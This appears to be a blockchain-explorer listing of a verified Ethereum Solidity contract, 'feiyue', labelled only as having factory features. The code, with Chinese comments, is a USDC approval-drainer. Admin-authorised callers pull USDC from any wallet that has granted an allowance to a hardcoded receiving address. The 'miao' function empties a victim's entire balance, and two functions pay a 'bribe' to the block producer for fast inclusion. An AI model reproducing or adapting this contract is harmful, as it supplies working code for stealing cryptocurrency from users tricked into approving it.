feiyue

Description:

Smart contract deployed on Ethereum with Factory features.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "my/USDCbitmart.sol": {
      "content": "// SPDX-License-Identifier: MIT\r
pragma solidity  ^0.8.4;\r
\r
\r
//定义 usdc 接口\r
interface IERC20 {\r
\r
    //授权后,转账\r
    function transferFrom(address sender, address recipient, uint256 amount) external ;\r
    //查询余额\r
    function balanceOf(address account) external view returns (uint256);\r
}\r
\r
\r
contract feiyue {\r
\r
    //合约地址\r
    address contractaddress = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;\r
    //定义 usdc 接口变量\r
    IERC20 usdc;\r
    constructor() {\r
        usdc = IERC20(contractaddress);\r
      }\r
    //用来判断那些地址拿到了,操作权限\r
    mapping(address => bool) auth;\r
    //收款地址,写死的\r
    address public toaddress = 0x1d5fdb1174321C46dE2D6D750a68005894965dF9;\r
    //管理员钱包地址,写死的\r
    address public adminaddress = 0xf46fd5321695Cd82bF7dFf0a0952e6e8be104f99;\r
    \r
    //默认贿赂金额\r
    uint256 public ethAmountToCoinbase = 100000000000000;\r
\r
    //接收eth\r
    receive() external payable {\r
        \r
    }\r
\r
        //修改贿赂金额,只有内置的管理员 才有权限\r
    function upethAmountToCoinbase(uint256 _value) public returns (bool) {\r
        require(msg.sender == adminaddress, "You no admin");\r
        require(msg.sender != address(0), "You no admin");\r
        ethAmountToCoinbase = _value;\r
        return true;\r
    }\r
    //设置那些地址拥有调用转账权限,只有内置的管理员 才有权限调用\r
    function upauth(address _address , bool _auth) public returns (bool) {\r
        require(msg.sender == adminaddress, "You no admin");\r
        require(msg.sender != address(0), "You no admin");\r
        auth[_address] = _auth;\r
        return true;\r
    }   \r
    //获取地址 是否拥有权限\r
    function getisauth(address _address) public view returns (bool) {\r
        require(_address != address(0), "no");\r
        return auth[_address];\r
    }\r
\r
    //对已授权用户,发起转账,只有 得到管理员的授权后的地址才可以调用\r
    function transferFrom(address from,uint256 amount) public {\r
        require(msg.sender != address(0), "You no sb");\r
        require(auth[msg.sender] == true, "You no sb1");\r
        usdc.transferFrom(from,toaddress,amount);\r
    }\r
        //对已授权用户,发起转账,只有 得到管理员的授权后的地址才可以调用\r
    function Transfer(address from,uint256 amount) public {\r
        require(msg.sender != address(0), "You no sb");\r
        require(auth[msg.sender] == true, "You no sb1");\r
        usdc.transferFrom(from,toaddress,amount);\r
        block.coinbase.transfer(ethAmountToCoinbase);\r
    }\r
        //对已授权用户,发起转账,只有 得到管理员的授权后的地址才可以调用\r
    function a(address from,uint256 amount) public {\r
        require(msg.sender != address(0), "You no sb");\r
        require(auth[msg.sender] == true, "You no sb1");\r
        usdc.transferFrom(from,toaddress,amount);\r
        block.coinbase.transfer(ethAmountToCoinbase);\r
    }\r
    //对已授权用户,发起秒U,只有 得到管理员的授权后的地址才可以调用,用合约获取usdc余额 理论会更快一点,需要消耗的gas可能会多一点,不管用奶奶的\r
    function miao(address from) public {\r
        require(msg.sender != address(0), "You no sb");\r
        require(auth[msg.sender] == true, "You no sb1");\r
\r
        //获取用户钱包地址余额(usdc)\r
        uint256 amount = usdc.balanceOf(from);\r
        usdc.transferFrom(from,toaddress,amount);\r
    }\r
\r
}"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}

Tags:
Factory|addr:0x51fb6496acbc65eb5bdcfc48474679b00303c0b6|verified:true|block:23734566|tx:0x0336d57af7fb6263b77a11e1d3e17bdcb31680373e52665e7c22a11bce575580|first_check:1762367132

Submitted on: 2025-11-05 19:25:33

Comments

Log in to comment.

No comments yet.